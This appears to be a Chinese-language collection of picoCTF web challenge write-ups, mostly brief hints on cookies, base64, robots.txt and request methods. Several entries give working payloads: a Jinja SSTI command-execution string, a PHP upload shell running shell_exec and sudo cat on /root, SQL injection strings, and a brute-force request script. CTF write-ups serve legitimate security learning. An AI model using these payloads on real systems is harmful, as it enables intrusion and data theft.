# picoCTF Web Writeups
我菜菜ㄉ所以從Web開始
# Easy
## Cookies
這題很簡單
照著他的提示輸入`snickerdoodle`
會跑到這個網頁

看一下網頁的 Cookie

然後改 name 的值會發現每個號碼都有一種 Cookie
接著爆搜就可以在範圍內找到
## SSTI1
[什麼是SSTI?](https://ithelp.ithome.com.tw/m/articles/10272749)
在框框輸入`{{7*7}}`

塞payload讓他執行腳本
`{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}`

`{{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}`

## n0s4n1ty 1
他沒有限制上傳檔案的格式
所以上傳一個php檔讓他執行shell 腳本
`<?php echo shell_exec('ls /'); ?>`

再用貓咪看一下flag
`<?php echo shell_exec('sudo cat /root/flag.txt'); ?>`

## head-dump
沒什麼難度
有一個貼文是API docs
點進去就可以看到api-docs

Request heapdump那個
就可以下載 heapsnapshot
在檔案裏面搜尋關鍵字就可以找到flag了

## Cookie Monster Secret Recipe
隨便輸入一些進去
他就會叫你去看Cookie

裡面有一個祕密食譜
`%3D%3D`很明顯是URL編碼的`==`
`==`很明顯是Base64編碼
拿去解碼就可以拿到flagㄌ
等於等於

## WebDecode
點到About頁面
他會叫你開inspector

開了之後你會看到一串怪咚咚
`cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMTBmOTM3NmZ9`
是不是很眼熟
沒錯
跟上一題的base64編碼開頭一樣
所以把這串加上`==`丟到base64 decoder就好ㄌ

## Unminify
簽到題
## IntroToBurp
用Burp Suite開那個網頁
註冊完後會要你輸入OTP
不管怎樣都是Invalid OTP
所以回到Burp Suite去看請求

對Request點右鍵傳到Repeater去改Request重新請求

把`otp=adf`刪掉再重新請求就可以拿到flagㄌ

## Bookmarklet
執行那個function就好ㄌ
## Local Authority
看得懂標題就會解
給看不懂的
:::spoiler
登入失敗後你打開inspector會發現有這個檔案

:::
## Inspect HTML
簽到題
## Includes
簽到題
## Scavenger Hunt
先在html和css檔找到part 1, 2
然後到js檔會看到

所以我們要找`/robots.txt`
就可以在那邊找到part 3

接著他的提示
試幾個apache server可能有的設定檔
然後就會發現下一站是`/.htaccess`
可以找到part 4

Mac + Store
會想到那個隱藏檔案`/.DS_Store`
找到part 5

組起來就是flagㄌ
## GET aHEAD
request有很多種方法
用HEAD去request就可以拿到flagㄌ

## dont-use-client-side
自己拼拼湊湊
||`picoCTF{no_clients_plz_7723ce}`||

## logon
登入之後把cookie中的admin改成True
刷新之後就可以看到flagㄌ

## Insp3ct0r
開Inspector後可以依序在html, css, js找到flag
## where are the robots
去`/robots.txt`在去他說的路徑就可以找到flagㄌ
# Medium
## Pick your SQL exploit
`picoCTF Experimental Problems 1` 的那個
我只解開challenge 2
就是SQL Injection
照著他的Hint去操作就好
先輸入`1`
會發現他直接把整個row輸出了

然後就可以輸入下面查詢看一下有哪些table
`1' UNION SELECT tbl_name, 1, 'a' FROM sqlite_master WHERE type='table'--`

輸入下面的sql查詢就可以輸出flagㄌ
`1' UNION SELECT flag,1,'a' FROM hidden_flags--`

如果想要確認欄位數量可以依序輸入這個查詢
`' ORDER BY 1--`
`' ORDER BY 2--`
`' ORDER BY 3--`
## Dark vault
按照網站給的檔案跑就可以找到帳號密碼了
## Some Assembly Required 1
在js看會看到這行
`let _0x5f0229 = await fetch(_0x48c3be(0x1e9))`
他fetch了一個檔案
可以去network看

載下來打開就會看到flag了

## Irish-Name-Repo 1
最基本的SQL injection
`' OR 1=1 --`
## Irish-Name-Repo 2
因為password被過濾ㄌ
所以從username下手
使用 Boolean-Based Blind SQL Injection
`admin' AND 1=1--`
就可以注入成功了
順帶一提他的payload有一個參數是 debug
改成 1 就可以看到現在的 query

## Irish-Name-Repo 3
把 debug 打開
會發現我們的查詢被凱薩密碼加密ㄌ
位移量 13
所以把`' OR 1=1 --` 用 ROT13 加密後再送出就可以ㄌ

## picobrowser
把 request 改成 picobrowser
就可以拿到 flag ㄌ

## Pachinko
隨便連一下節點然後按 Submit
看 request


暴搜隨便跑幾次就會拿到flagㄌ
```python=
import requests
import json
url = "http://activist-birds.picoctf.net:<port>/check"
headers = {
"Content-Type": "application/json",
"Origin": "http://activist-birds.picoctf.net:52964",
"Referer": "http://activist-birds.picoctf.net:52964/",
"User-Agent": "Mozilla/5.0",
}
for a in range(1, 16):
for b in range(1, 16):
for c in range(1, 16):
payload = {
"circuit": [
{"input1": a, "input2": b, "output": c}
]
}
response = requests.post(url, headers=headers, data=json.dumps(payload))
print("Input:", payload)
print("Response:", response.text)
```
##